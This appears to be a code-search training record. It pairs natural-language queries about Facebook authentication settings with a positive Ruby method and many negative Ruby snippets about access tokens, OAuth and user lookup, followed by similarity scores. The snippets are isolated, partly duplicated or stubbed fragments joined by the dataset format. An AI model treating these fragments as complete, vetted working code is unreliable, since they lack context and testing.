facebook_client.web_server.access_token(params[:code],\n :redirect_uri => Settings.authentication.facebook.callback_url)\n JSON.parse(access_token.get('/me'))\n end", "def user\n access_code.user\n end", "def user\n @user ||= User.find(decoded_auth_token[:user_id]) if decoded_auth_token\n @user || errors.add(:token, 'Invalid Token') && nil\n end", "def current_access_token\n if current_user.nil?\n return SfdcConnection.public_access_token\n else\n return SfdcConnection.member_access_token current_user\n end\n end", "def token_or_current_or_guest_user\n token_user || current_or_guest_user\n end", "def auth_oauth_custom\n @attributes[:auth_oauth_custom]\n end", "def access_token\n @data[:access_token]\n end", "def user_type; end", "def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end", "def oauth_access_token\n session[:access_token]\n end", "def user_token\n google_account.id.to_s\n end", "def set_user\n \t#to do\n \t#if cookie authentication_token type facebook\n\n \t#elsif cookie authentication_token type email\n\n \t#end\n \t\t\n \t@user = User.find_by(authentication_token: request.headers['Authorization'])\n end", "def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end", "def gravatar_token(comment_or_user)\n case comment_or_user\n when Comment\n token = gravatar_token(comment_or_user.user)\n if token.present?\n token\n elsif comment_or_user.email.present?\n Digest::MD5.hexdigest(comment_or_user.email.downcase) \n end\n when User\n if comment_or_user.gravatar_token.present?\n comment_or_user.gravatar_token\n elsif comment_or_user.email.present?\n Digest::MD5.hexdigest(comment_or_user.email.downcase)\n end\n else nil\n end\n end", "def facebook\n # By default, client-side authentication gives you a short-lived\n # token:\n short_lived_token = params[:access_token]\n\n fb_hash = GenericApiRails.config.facebook_hash\n if fb_hash.nil?\n logger.error('Facebook login/signup not configured. For configuration instructions see controllers/generic_api_rails/authentication_controller.rb in the generic_api_rails project')\n render :json => { success: false , error: \"Facebook login/signup not configured\" }\n return\n end\n\n app_id = fb_hash[:app_id]\n app_secret = fb_hash[:app_secret]\n\n # to upgrade it, hit this URI, and use the token it hands back:\n token_upgrade_uri = \"https://graph.facebook.com/oauth/access_token?client_id=#{app_id}&client_secret=#{app_secret}&grant_type=fb_exchange_token&fb_exchange_token=#{short_lived_token}\"\n\n begin\n res = URI.parse(token_upgrade_uri).read\n\n res_hash = Rack::Utils.parse_query(res)\n\n long_lived_token = res_hash['access_token']\n rescue Exception => x\n logger.error(self.class.name + \" - facebook: #{x}\")\n long_lived_token = short_lived_token\n # render :json => { :error => \"token-upgrade error (#{x})\" }\n # return\n end\n\n # at this point, we have verified that the credential is authorized by\n # Facebook- facebook has even given us a long-lived token to\n # manipulate this credential via FB. Now, all we need is some details\n # about our credential, namely the credential ID, and email. We use Koala\n # here because it is a more flexible endpoint for Facebook, and we\n # don't want to be using OAuth here - we already have the token we\n # need.\n\n @graph = ::Koala::Facebook::API.new(long_lived_token, app_secret)\n fb_user = @graph.get_object(\"me\", fields: \"email,first_name,last_name,middle_name,birthday,about,location\")\n # logger.info(\"FB_USER: #{fb_user}\")\n uid = fb_user[\"id\"]\n profile_pic = @graph.get_picture(uid, { height: 500, width: 500 })\n\n # create a hash that matches what oauth spits out, but we've done\n # it with Koala:\n @provider = \"facebook\"\n @uid = uid\n @email = fb_user[\"email\"]\n\n person_hash = {\n fname: fb_user[\"first_name\"],\n lname: fb_user[\"last_name\"],\n minitial: fb_user[\"middle_name\"],\n profile_picture_uri: profile_pic,\n birthdate: fb_user[\"birthday\"]\n }\n\n @results = GenericApiRails.config.oauth_with.call(provider: \"facebook\", uid: uid, email: @email , person: person_hash)\n\n if @results[0].nil?\n # error = @results[1]\n @credential = nil\n else\n @credential = @results[0]\n end\n\n done\n end", "def fb_authorized?\n self.access_token.present? \n end", "def access_token_in_request_params\n request.env['omniauth.auth']\n end", "def access_token\n User.create_access_token(self)\n end", "def access_token(provider)\n @provider = Config.send(provider)\n @provider.access_token\n end", "def token\n CGI.unescape(self.params[/access_token=([^&]+)/, 1])\n end", "def access_token\n @auth.access_token\n end", "def gravatar_token(comment_or_user)\n case comment_or_user\n when Comment\n token = gravatar_token(comment_or_user.user)\n if token.present?\n token\n elsif comment_or_user.email.present?\n Digest::MD5.hexdigest(comment_or_user.email.downcase)\n end\n when User\n if comment_or_user.gravatar_token.present?\n comment_or_user.gravatar_token\n elsif comment_or_user.email.present?\n Digest::MD5.hexdigest(comment_or_user.email.downcase)\n end\n else nil\n end\n end", "def access_token?\n payload.typ == 'access'\n end", "def send_token_for_valid_login_of(user)\n\t\trender json: {token: user.auth_token }\n\tend", "def access_token\n api_key.access_token rescue \"\"\n end", "def facebook_profile_params\n [:id, :name, :email, :token, :token_type, :expiration, {:raw => facebook_raw_params} ]\n end", "def access_token\n @config[\"token\"]\n end", "def oauth2_access_token\n belongs_to :client, :null => false\n\n string :token, :null => false\n string :scope\n datetime :expires_at\n end", "def get_authentication_header\n \"#{token_type} #{token}\"\n end", "def get_current_user_auth_token(user_id)\n user=User.find(user_id)\n if user.ebay_auth_token\n user.ebay_auth_token\n end\n end", "def access_token( user_token = nil, user_secret = nil )\n\t\t( user_token && user_secret ) ? @access_token = OAuth::AccessToken.new( self.consumer, user_token, user_secret ) : @access_token\n end", "def token_auth\n Hash['type' => 'token',\n 'token' => @token,]\n end", "def barcode_token_in_request_params\n access_token = access_token_in_request_params\n access_token.uid = access_token.uid.gsub(/\\s/, '') unless access_token.nil? || access_token.uid.empty?\n access_token\n end", "def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end", "def facebook_user\n (session[:facebook_session] && session[:facebook_session].session_key) ? session[:facebook_session].user : nil\n end", "def access_token()\n if @access_token_obj\n @access_token_obj.token\n else\n return nil\n end\n end", "def auth_oauth\n @attributes[:auth_oauth]\n end", "def access_token\n @rubytter.instance_variable_get(:@access_token)\n end", "def auth_token_param\n params[:auth_token]\n end", "def authenticate_entity(entity_name)\n if token\n super(entity_name)\n else\n current_user\n end\n end" ]
[ "0.6983966", "0.64902496", "0.64704925", "0.64703155", "0.64703155", "0.64703155", "0.64703155", "0.64703155", "0.6450198", "0.6446776", "0.6446632", "0.6444763", "0.64301515", "0.642097", "0.642097", "0.642097", "0.63654584", "0.63627523", "0.63531834", "0.63531834", "0.63531834", "0.63531834", "0.6350178", "0.6280635", "0.62519795", "0.62103736", "0.6171018", "0.61677974", "0.6167557", "0.6153341", "0.6151831", "0.61501384", "0.61326087", "0.61316776", "0.61254716", "0.61001754", "0.6093972", "0.60839725", "0.6076925", "0.60725576", "0.60553956", "0.6054868", "0.60454845", "0.60088646", "0.5993673", "0.59832937", "0.5982482", "0.598143", "0.5978218", "0.5972362", "0.5954673", "0.59505767", "0.59444445", "0.594121", "0.594121", "0.594121", "0.59175646", "0.5902065", "0.5884306", "0.5876321", "0.5871388", "0.5869992", "0.5859162", "0.58564425", "0.5849717", "0.5849117", "0.58481", "0.5844285", "0.58296204", "0.5825357", "0.58245486", "0.5813677", "0.5797227", "0.5794442", "0.57714033", "0.5768204", "0.5764835", "0.57633054", "0.57618254", "0.57535315", "0.5749143", "0.57449156", "0.57322395", "0.57284504", "0.5725529", "0.5722882", "0.571835", "0.57073194", "0.570593", "0.5702287", "0.56924194", "0.56861526", "0.56798023", "0.5678142", "0.5676459", "0.56738067", "0.56684655", "0.5648257", "0.5645943", "0.5642823" ]
0.7370769
0
Which user attr_writer should be used for the (full) name for a new user when facebook_auto_register is enabled? Default: :name Accepts: Symbol
def facebook_name_field(value=nil) rw_config(:facebook_name_field, value, :name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_user_name_field(user_name)\n end", "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "def user_name=(name)\n self.user = User.find_or_create_by(name: name)\n end", "def name=(user)\n\t\t@name=user\n\tend", "def name\n userName\n end", "def user_name\n \"someone\"\n end", "def username=(value)\n write_attribute :username, value.downcase\n end", "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "def user_name\n read_attribute('user_name') || \"anonymous\"\n end", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def name(type, newval = nil)\n @usr_fio[type.to_sym] = newval.nil? ? @usr_fio[type.to_sym] : newval\n end", "def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end", "def username=(new_name)\n @username = new_name.upcase\n end", "def name\n username || email\n end", "def name\n username || email\n end", "def nickname=(name)\n write_attribute('preferred_name', name)\n end", "def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end", "def name_or_username\n name || username\n end", "def user_name(name = nil)\n return user_name_from_name(name) if name\n\n user_name_random\n end", "def name\n \"#{user_name.titleize}\"\n end", "def user_name\n decode_string_member(:user_name)\n end", "def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end", "def name\n\t self.username\n end", "def assign_name\n friend = User.find self.friend_id\n self.name = friend.username\n end", "def name\n [{\n use: NAME_USE,\n family: [user.last_name],\n given: [user.first_name]\n }]\n end", "def name\n [{\n use: NAME_USE,\n family: [user.last_name],\n given: [user.first_name]\n }]\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username #for each attribute of a class you have two methods a reader and a writer method (same as a gettter and setter methods)\n return @username #the variable \"@username\" is ONLY created when the WRITER, NOT the reader is called; it's created when lana.username - \"lana\" is called ; if the reader is called and the variable is not in the initialize method and the writer method has not been called the program will give you an error; the @symbol is called an instance variable\n end", "def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend", "def byline\n (name != user_name) ? name + \" (\" + user_name + \")\" : name\n end", "def byline\n (name != user_name) ? name + \" (\" + user_name + \")\" : name\n end", "def sign_up(name:, user_name:)\n user_name = user_name.downcase\n return SYNTAX_ERROR if include_punctuation?(user_name)\n return TOO_LONG_ERROR if too_long?(user_name)\n return TOO_SHORT_ERROR if too_short?(user_name)\n\n @user_class.add(name: name, user_name: user_name)\n end", "def last_name=(value)\n write_attribute :last_name, value.titleize\n end", "def to_param\n\t\tuser_name\n\tend", "def name_str\n self.anon ? \"Anonymous\" : self.user.name\n end", "def set_name\n name = \"\"\n\n if self.firstname.blank? && self.lastname.blank?\n unless self.login.blank?\n name = self.login\n else\n name = self.email\n end\n else\n name = \"#{self.firstname} #{self.lastname}\"\n end\n\n self.update_column(:name, name)\n #self.name = \"Ferdinand\"\n end", "def name\r\n\t\t@usr_name\r\n\tend", "def name\r\n\t\t@usr_name\r\n\tend", "def username\n name\n end", "def user_name\n name = self.le_user.nil? ? '' : self.le_user.name\n end", "def firt_name=(n)\n write_attribute(:first_name, n.to_s.titleize)\n end", "def iname=(val)\n attributes['name'] = val\n end", "def iname=(val)\n attributes['name'] = val\n end", "def iname=(val)\n attributes['name'] = val\n end", "def user_name\n Faker::Internet.user_name\n end", "def user_name\n Faker::Internet.user_name\n end", "def user_name\n name = user.nil? ? '' : user.name\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def set_name\n # I truncate it too. I dislike big names.\n self.name = self.email.truncate 25\n # self.photo_url = 'http://0.gravatar.com/avatar/fa3c0e79ecfe1f9e2cdc906ae34b14ee'\n end", "def named_user(named_user)\n { named_user: named_user }\n end", "def naming\n name || nickname\n end", "def user_display_name\n @attributes[:user_display_name]\n end", "def new_name(new_name)\n @name = new_name\n end", "def display_name\n username\n end", "def display_name\n self.name.blank? ? self.username : self.name\n end", "def facebook_username_field(value=nil)\n rw_config(:facebook_username_field, value, :facebook_username)\n end", "def owner_name\n \"#{firstname} #{lastname}\"\n end", "def set_author_name\n # Handles toggling between fake and real names (at edit)\n if anonymouse_changed?\n if self.anonymouse?\n self.author_name = Faker::Name.name\n else\n self.author_name = self.user.name\n end\n end\n # Handles\n if !self.anonymouse?\n self.author_name = self.user.name\n end\n end", "def username\n username = self.name + \" \" + self.email\n\t end", "def last_name=(v)\n @last_name = alma_string v\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def display_name \n username\n end", "def new_name; end", "def set_name\n person = CMU::Person.find(andrew_id)\n if !person.nil?\n self.first_name = person.first_name\n self.last_name = person.last_name\n end\n end", "def name\n \"#{self.class.name.titleize}: #{user.email rescue 'unknown user'}\"\n end", "def edit_real_name(user, real_name)\n user.real_name = real_name\n user.save_data\n end", "def name(formatter = :first_last)\n if formatter\n eval('\"' + (USER_FORMATS[formatter] || USER_FORMATS[:first_name_last_name]) + '\"')\n else\n @name ||= eval('\"' + (USER_FORMATS[Setting.user_format] || USER_FORMATS[:first_name_last_name]) + '\"')\n end\n end", "def new_org_name\n \"#{@user.first_name.upcase_first} #{@user.last_name.upcase_first}\"\n end", "def login_name=(value)\n @login_name = value\n end", "def name_setter\n @name\n end", "def author_name\n user_data.name || login\n end", "def username(name = nil)\n if !name then @username\n else @username = name\n end\n end", "def create user_name\n response = @client.action \"RegisterUser\", \"Name\" => user_name\n\n Response::User.new response.body['RegisterUserResponse']\n end", "def first_name=(value)\n write_attribute :first_name, value.titleize\n end", "def make_dick_editor_of_addtional_name\n name = names(:boletus_edulis)\n name.user = users(:rolf)\n name.save\n end", "def name\n \"#{self[:user].strip} #{self[:engine_id]}\".strip\n end", "def name(value)\n attributes[:name] = value\n end", "def user_obj\n puts \"\\nPlease enter your name: \\n \".colorize(:green).bold\n user_name = gets.strip.capitalize\n User.find_or_create_by(name: user_name)\n end", "def user_full_name\n @user[\"name\"]\n end", "def given_name=(nickname)\n @given_name = nickname\n @given_name = nil if nickname == name\n end", "def name_of(user)\n user.to_s\n end", "def last_name=(new_last_name)\n @json['user']['content']['lastname'] = new_last_name\n end", "def possible_name_params\n params.require(:possible_name).permit(:user_id, :name, :first_lastname, :second_lastname)\n end", "def name=(name)\n\t\t@new_name = name\n\tend", "def created_by_name\r\n User.find(object.created_by).name || nil\r\n end", "def name=(value)\n @name = attributes[:name] = value\n end", "def username=(new_username)\n @username = new_username\n end" ]
[ "0.70301086", "0.68003345", "0.67757875", "0.673986", "0.66430163", "0.6490852", "0.6483667", "0.6478497", "0.64661133", "0.646331", "0.6460242", "0.64155537", "0.63320315", "0.6329227", "0.6315014", "0.63149494", "0.6313426", "0.63072896", "0.6300924", "0.6289259", "0.6277914", "0.6276044", "0.62531066", "0.624777", "0.62382406", "0.621881", "0.621881", "0.62142235", "0.62142235", "0.61912894", "0.6187484", "0.6175486", "0.6175486", "0.61711955", "0.61706644", "0.61397326", "0.6125796", "0.6119825", "0.6118739", "0.6118739", "0.61021775", "0.60986453", "0.6091964", "0.60741395", "0.60741395", "0.60741395", "0.60729986", "0.60729986", "0.6056951", "0.60461843", "0.60461843", "0.60461843", "0.6042745", "0.60411304", "0.6020391", "0.60197663", "0.6003874", "0.5980963", "0.5974718", "0.59698504", "0.5950654", "0.59496504", "0.59446716", "0.59442014", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.5937877", "0.593747", "0.5936321", "0.5929325", "0.592842", "0.59268814", "0.5924919", "0.59035873", "0.58963484", "0.58945125", "0.58793753", "0.587504", "0.58725935", "0.5872475", "0.5869816", "0.58679634", "0.5866566", "0.5862459", "0.58604324", "0.5859035", "0.58582205", "0.58570546", "0.5855686", "0.5855397", "0.5854287", "0.5842489", "0.58296" ]
0.6131986
36
Which User attr_writer should be used for facebook username (if one exists) for a new user when facebook_auto_register is enabled? Default: :facebook_username Accepts: Symbol
def facebook_username_field(value=nil) rw_config(:facebook_username_field, value, :facebook_username) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "def username=(value)\n write_attribute :username, value.downcase\n end", "def set_user_name_field(user_name)\n end", "def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend", "def username=(new_username)\n @username = new_username\n end", "def set_username\n return if username?\n return unless email?\n\n base = email.partition('@').first.tr('.', '_')\n\n self.username = generate_username(base)\n end", "def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end", "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "def username=(new_name)\n @username = new_name.upcase\n end", "def username=(value)\n write_attribute(:username, value)\n reset_persistence_token if username_changed?\n end", "def register_user_to_fb(force = false)\n if force || changed.include?('username') || changed.include?('facebook_username')\n email = facebook_username.present? ? facebook_username : username\n users = {:email => email, :account_id => id}\n ::Facebooker::User.register([users]) unless Rails.env.test?\n self.facebook_hash = ::Facebooker::User.hash_email(email)\n end\n end", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def set_username\n self.username = \"#{self.email.split('@').first}#{Faker::Number.number(3)}\"\n end", "def username= new_username\n @username = new_username\n end", "def ensure_username\n if self.username != \"\"\n self.username \n else\n self.username = \"user#{((self.email).hash).to_s[0,6]}\"\n end\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def user_name\n \"someone\"\n end", "def user_instance(username)\n User.new(new_username: username, forename: 'forename', surname: 'surname',\n email_address: 'a@a.com', email_address_confirmation: 'a@a.com',\n new_password: 'P@ssword001', new_password_confirmation: 'P@ssword001',\n user_is_current: 'Y')\n end", "def user_name\n read_attribute('user_name') || \"anonymous\"\n end", "def username #for each attribute of a class you have two methods a reader and a writer method (same as a gettter and setter methods)\n return @username #the variable \"@username\" is ONLY created when the WRITER, NOT the reader is called; it's created when lana.username - \"lana\" is called ; if the reader is called and the variable is not in the initialize method and the writer method has not been called the program will give you an error; the @symbol is called an instance variable\n end", "def update_username(username)\n @username = username\n end", "def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end", "def user_name=(name)\n self.user = User.find_or_create_by(name: name)\n end", "def name_or_username\n name || username\n end", "def real_username\n defined?(USERS_MAP) ? USERS_MAP[@username] : @username\n end", "def add_email_or_username(username_or_email)\n\t\temail_or_username_field.set(username_or_email)\n\tend", "def name\n if facebook_authentication && facebook_authentication.display_name\n return facebook_authentication.display_name\n end\n return username\n end", "def create_from_fb_connect(fb_user, username)\n u = ::User.find(:first, :conditions => {_(:username) => username} )\n if u\n u.facebook_hash = fb_user.email_hashes.first\n u.fb_user_id = fb_user.uid\n else\n u = ::User.create(_(:username) => username || fb_user.email_hashes.first, _(:last_login) => Time.now.utc, _(:fb_user_id) => fb_user.uid, _(:facebook_hash) => fb_user.email_hashes.first)\n end\n u.create_person_from_fb(fb_user) unless u.person\n u.save(false)\n u\n end", "def create_username() #t\n email_username = self.email.gsub(/(\\A([\\w\\.\\-\\+]+))@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i, \"\\\\1\")\n email_username = email_username.gsub(/\\W/, \"\")\n username_try = email_username\n \n i = 1\n found_unique_username = false\n while(!found_unique_username)\n if User.unique_username?(nil, username_try)\n found_unique_username = true\n else\n username_try = email_username + i.to_s\n end\n i += 1\n end\n \n self.username = username_try\n end", "def username=(value)\n if value\n value.downcase!\n value.squish!\n end\n super(value)\n end", "def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end", "def set_create_user_fields\n user_id = AuditModule.get_current_user.uid\n self.created_by = user_id\n self.updated_by = user_id\n end", "def username\n username = self.name + \" \" + self.email\n\t end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def username=(un)\n self[:username] = (un.nil? ? nil : un.downcase)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def make_user\n end", "def username\n @attributes[:username]\n end", "def username\n @attributes[:username]\n end", "def username\n @attributes[:username]\n end", "def username\n @attributes[:username]\n end", "def username=(username)\n validate_options(username: username)\n @username = username\n end", "def user_as_string=(user)\n # reset both either way\n self.user_as_model = self.username = nil\n user.is_a?(::ActiveRecord::Base) ?\n self.user_as_model = user :\n self.username = user\n end", "def username(u)\n @config[:username] = u\n end", "def user_id=(new_id)\n if allow_editing?\n @user_id = ForeignKey.new(id: new_id, class_name: User)\n @user_name = user.name\n end\n end", "def username; end", "def username; end", "def username; end", "def username; end", "def register_by_facebook_account(fb_session, fb_uid)\n api = FacebookGraphApi.new(fb_session.auth_token, fb_uid)\n user_attributes = api.find_user(fb_uid)\n email = user_attributes['email'] || 'FAKE'\n name = user_attributes['name'] || ''\n\n if !email.blank? && !name.blank?\n existing_user = User.find_by_email(email)\n existing_user = User.find_by_facebook_uid(fb_uid) if existing_user.nil?\n\n if existing_user\n existing_user.facebook_uid = fb_uid\n existing_user.facebook_sid = fb_session.auth_token\n existing_user.facebook_connect_enabled = true\n existing_user.save(false)\n\n existing_user.update_attribute(:state, 'active')\n existing_user\n else\n attributes = {\n :login => find_or_build_unique_user_name(name),\n :name => name,\n :email => find_or_build_unique_fake_email(email),\n :facebook_uid => fb_uid,\n :facebook_sid => fb_session.session_key,\n :activated_at => Time.now,\n :state => 'active',\n :facebook_connect_enabled => true\n }\n\n user = User.new(attributes)\n user.save(false)\n\n user.update_attribute(:state, 'activate')\n user\n end\n else\n # Do something else let's log him out from facebook\n raise 'Durrr! you are one of those unlucky person for whom we haven\\'t fixed this bug!\n please let me know that i told you this crap!' + \" data - #{user_attributes.inspect}\"\n end\n end", "def id_string\n return \"user_\"+self.username\n end", "def name\n\t self.username\n end", "def username\n \"rocky\"\n end", "def set_username_validation\n\t if @do_username_validation != false\n\t\t @do_username_validation = true\n\t end\n end", "def username\n name\n end", "def user_as_string=(user) #:nodoc:\n # reset both either way\n self.user_as_model = self.username = nil\n user.is_a?(ActiveRecord::Base) ?\n self.user_as_model = user :\n self.username = user\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end" ]
[ "0.6848724", "0.6663277", "0.66238874", "0.65724933", "0.6497794", "0.6497794", "0.6492343", "0.64231443", "0.6371994", "0.6362415", "0.63605034", "0.6344785", "0.6308395", "0.6232002", "0.618202", "0.6174389", "0.616702", "0.6137491", "0.612029", "0.6067793", "0.6067793", "0.6045682", "0.60439867", "0.60405284", "0.6021519", "0.6012275", "0.5999976", "0.59861034", "0.5944445", "0.5934034", "0.5931507", "0.5896347", "0.5888537", "0.5883656", "0.5881869", "0.5871329", "0.58610517", "0.58488506", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.5836252", "0.58078116", "0.5802308", "0.5802308", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5801429", "0.5795144", "0.5785918", "0.5785918", "0.5785918", "0.5785918", "0.5783386", "0.57769215", "0.57753813", "0.57750833", "0.5764078", "0.5764078", "0.5764078", "0.5764078", "0.5759986", "0.5758588", "0.5738314", "0.5738056", "0.57280874", "0.5726275", "0.5706644", "0.5700196", "0.56987184", "0.56987184", "0.56987184", "0.56987184", "0.56987184" ]
0.70202166
0
Should a new user be automatically created if there is no user with given facebook uid? Default: false Accepts: Boolean
def facebook_auto_register(value=nil) rw_config(:facebook_auto_register, value, false) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create?\n @user != nil\n end", "def create?\n\t\t!@user.nil?\n\tend", "def create?\n user.present?\n end", "def create?\n user.present?\n end", "def create?\n user.present?\n end", "def create?\n !@user.nil?\n end", "def create\n #Create user instance\n @user = User.new(params[:user])\n @user.fb_uid = facebook_user.uid if facebook_user \n if @user.save\n \n #flash[:notice] = sprintf(t(:user_created_confirmation_sent), @user.name,@user.email) unless facebook_user\n flash_notice(:user_created_confirmation_sent, @user.full_name,@user.email) unless facebook_user\n \n create_session(@user) if facebook_user\n redirect_to_last_page\n else\n render :action => \"new\"\n end\n end", "def find_or_create(uid)\n is_new = false\n @user = User.where(\"uid =?\",uid).first\n is_new = true if @user.nil?\n @user = User.new() if @user.nil?\n @user.uid = uid\n @user.is_new = is_new\n @user\n end", "def create?\n !user.nil?\n end", "def create?\n !user.nil?\n end", "def create\n @user = User.new(user_params)\n @same_fb_id = User.find_by_fb_id(@user.fb_id)\n if @same_fb_id == nil\n @user.save\n end\n respond_with @user\n end", "def register_by_facebook_account(fb_session, fb_uid)\n api = FacebookGraphApi.new(fb_session.auth_token, fb_uid)\n user_attributes = api.find_user(fb_uid)\n email = user_attributes['email'] || 'FAKE'\n name = user_attributes['name'] || ''\n\n if !email.blank? && !name.blank?\n existing_user = User.find_by_email(email)\n existing_user = User.find_by_facebook_uid(fb_uid) if existing_user.nil?\n\n if existing_user\n existing_user.facebook_uid = fb_uid\n existing_user.facebook_sid = fb_session.auth_token\n existing_user.facebook_connect_enabled = true\n existing_user.save(false)\n\n existing_user.update_attribute(:state, 'active')\n existing_user\n else\n attributes = {\n :login => find_or_build_unique_user_name(name),\n :name => name,\n :email => find_or_build_unique_fake_email(email),\n :facebook_uid => fb_uid,\n :facebook_sid => fb_session.session_key,\n :activated_at => Time.now,\n :state => 'active',\n :facebook_connect_enabled => true\n }\n\n user = User.new(attributes)\n user.save(false)\n\n user.update_attribute(:state, 'activate')\n user\n end\n else\n # Do something else let's log him out from facebook\n raise 'Durrr! you are one of those unlucky person for whom we haven\\'t fixed this bug!\n please let me know that i told you this crap!' + \" data - #{user_attributes.inspect}\"\n end\n end", "def register_user_to_fb\n if AppConfig.register_users_to_facebook\n begin # DON'T LET FACEBOOK FUCK UP NEW USERS\n users = {:email => email, :account_id => id}\n Facebooker::User.register([users])\n self.email_hash = Facebooker::User.hash_email(email)\n save(false)\n rescue Exception => e\n Rails.logger.warn \"Facebook barfed in User.register_user_to_fb: #{e.message}\"\n end\n end\n true\n end", "def import_user\n fb_uid = facebook_params[:user]\n @user = User.find_or_create_by_fb_uid(fb_uid)\n @user.session_key = facebook_params[:session_key]\n # if we are here, the user is using our app, so they are an app user\n if @user.status == Status::Invited\n @user.status = Status::AddedApplication\n end\n return true\n end", "def user?\n @user = User.find_by(email: @email) if @userinfo\n\n # No user with that email so create the user with auth0_id.\n create_user_and_login @userinfo if @user.nil?\n end", "def current_user_has_create?(uri, options=nil)\n opts = options || current_user.try(:user_options) || nil\n current_user.present? and current_user.has_create?(uri, opts)\n end", "def create_user(user_hash={})\n @user = User.new(user_hash)\n if @user.save\n return true\n else\n return false\n end\n end", "def create_from_fb_connect(fb_user, username)\n u = ::User.find(:first, :conditions => {_(:username) => username} 